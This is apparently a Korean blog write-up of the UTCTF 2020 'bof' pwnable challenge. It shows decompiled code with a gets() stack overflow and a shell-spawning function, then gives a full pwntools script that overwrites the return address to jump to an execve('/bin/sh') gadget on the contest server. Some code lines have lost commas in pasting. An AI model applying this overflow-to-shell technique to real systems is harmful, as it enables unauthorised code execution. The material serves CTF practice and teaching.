SDJ( 수돈재 아님 ㅎ )

utctf 2020 - bof 본문

write-up/pwnable

utctf 2020 - bof

ShinDongJun 2020. 3. 9. 18:07

보호기법은 Partial RELRO와 NX만 걸려있는 매우 간단한 문제이다.

 

 

IDA를 열어서 main을 보면

1
2
3
4
5
6
7
8
9
int __cdecl main(int argc, const char **argv, const char **envp)
{
    char v4; // [rsp+0h] [rbp-70h]
 
    puts("I really like strings! Please give me a good one!");
    gets(&v4, argv);
    puts("Thanks for the string");
    return 1;
}

gets 함수에서 BOF가 터지는 것을 볼 수 있고, 이것을 이용해서 쉘을 따면 된다.

 

익스플로잇을 하기 전에 바이너리 함수를 보다보면 다음과 같은 함수를 찾을 수 있다

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int __fastcall get_flag(int a1)
{
    int result; // eax
    char *path; // [rsp+10h] [rbp-10h]
    __int64 v3; // [rsp+18h] [rbp-8h]
 
    if ( a1 == 0xDEADBEEF )
    {
        path = "/bin/sh";
        v3 = 0LL;
        result = execve("/bin/sh"&path, 0LL);
    }
    return result;
}

 

 

이 함수에서는 a1의 값이 0xDEADBEEF일 경우 execve를 통해 쉘을 따게끔 해주는데

get_flag함수를 ret에 넣고 조건문을 굳이 맞출 필요없이,

ret에 바로 "/bin/sh"를 넣어주고 execve를 실행시키는 가젯만 덮어줘도 쉘을 딸 수 있다.

다만 주의할점은 sfp자리에 쓰기 권한이 있는 주소 ( bss )를 줘야 가젯이 잘 동작한다.

mov 명령어를 통해 [rbp + path]같이 접근을 해서 값을 쓰기 때문에 rbp에 w권한이 있는 bss영역을 주면 된다.

 

 

exploit code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
 
server = 1
if server:
    p = remote("binary.utctf.live"9002)
else:
    p = process("./pwnable")
 
shell = 0x00000000004005FE
 
pay = ''
pay += 'a'*0x70
pay += p64(0x000000000060104F+0x500)
pay += p64(shell)
p.sendline(pay)
 
p.interactive()

 

 

FLAG : utflagutflag{thanks_for_the_string_!!!!!!}

'write-up > pwnable' 카테고리의 다른 글

utctf 2020 - Cancelled  (0) 2020.03.09
utctf 2020 - zurk  (0) 2020.03.09
Aeroctf 2020 - Shell Me If You Can  (0) 2020.03.01
facebook ctf 2019 - overfloat  (0) 2020.02.07
facebook ctf 2019 - rank  (0) 2020.02.06
Comments